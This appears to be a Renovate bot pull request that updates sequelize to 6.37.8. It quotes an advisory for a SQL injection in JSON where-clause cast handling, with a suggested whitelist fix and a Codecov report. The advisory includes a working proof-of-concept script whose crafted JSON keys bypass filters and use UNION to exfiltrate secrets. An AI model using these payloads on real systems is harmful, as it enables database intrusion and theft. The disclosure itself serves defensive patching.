Skip to content

fix(deps): update dependency sequelize to v6.37.8 [security]#461

Open
abrain-bot wants to merge 1 commit intodevelopfrom
renovate/npm-sequelize-vulnerability
Open

fix(deps): update dependency sequelize to v6.37.8 [security]#461
abrain-bot wants to merge 1 commit intodevelopfrom
renovate/npm-sequelize-vulnerability

Conversation

@abrain-bot
Copy link
Collaborator

This PR contains the following updates:

Package Type Update Change
sequelize (source) dependencies patch 6.37.7 -> 6.37.8

GitHub Vulnerability Alerts

CVE-2026-30951

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

return `CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);

if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
  throw new Error(`Invalid cast type: ${cast}`);
}

PoC

npm install sequelize@6.37.7 sqlite3

const { Sequelize, DataTypes } = require('sequelize');

async function main() {
  const sequelize = new Sequelize('sqlite::memory:', { logging: false });

  const User = sequelize.define('User', {
    username: DataTypes.STRING,
    metadata: DataTypes.JSON,
  });

  const Secret = sequelize.define('Secret', {
    key: DataTypes.STRING,
    value: DataTypes.STRING,
  });

  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'alice', metadata: { role: 'admin', level: 10 } },
    { username: 'bob',   metadata: { role: 'user',  level: 5 } },
    { username: 'charlie', metadata: { role: 'user', level: 1 } },
  ]);

  await Secret.bulkCreate([
    { key: 'api_key', value: 'sk-secret-12345' },
    { key: 'db_password', value: 'super_secret_password' },
  ]);

  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}

main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]

Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: { metadata: req.body.filter }  // user controls JSON object keys
  });
  res.json(users);
});

Release Notes

sequelize/sequelize (sequelize)

v6.37.8

Compare Source

Security improvements

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At 12:00 AM through 04:59 AM and 10:00 PM through 11:59 PM, Monday through Friday ( * 0-4,22-23 * * 1-5 ), Only on Sunday and Saturday ( * * * * 0,6 ) (UTC).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@codecov
Copy link

codecov bot commented Mar 11, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 63.68%. Comparing base (224cd95) to head (aa947ef).
⚠️ Report is 1 commits behind head on develop.

Additional details and impacted files
@@           Coverage Diff            @@
##           develop     #461   +/-   ##
========================================
  Coverage    63.68%   63.68%           
========================================
  Files           83       83           
  Lines         1005     1005           
  Branches        89       89           
========================================
  Hits           640      640           
  Misses         351      351           
  Partials        14       14           
Flag Coverage Δ
server 63.68% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@abrain-bot abrain-bot changed the title fix(deps): update dependency sequelize to v6.37.8 [security] fix(deps): update dependency sequelize to v6.37.8 [security] - autoclosed Mar 11, 2026
@abrain-bot abrain-bot closed this Mar 11, 2026
@abrain-bot abrain-bot deleted the renovate/npm-sequelize-vulnerability branch March 11, 2026 03:26
@abrain-bot abrain-bot changed the title fix(deps): update dependency sequelize to v6.37.8 [security] - autoclosed fix(deps): update dependency sequelize to v6.37.8 [security] Mar 14, 2026
@abrain-bot abrain-bot reopened this Mar 14, 2026
@abrain-bot abrain-bot force-pushed the renovate/npm-sequelize-vulnerability branch from 29086d4 to aa947ef Compare March 14, 2026 01:26
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants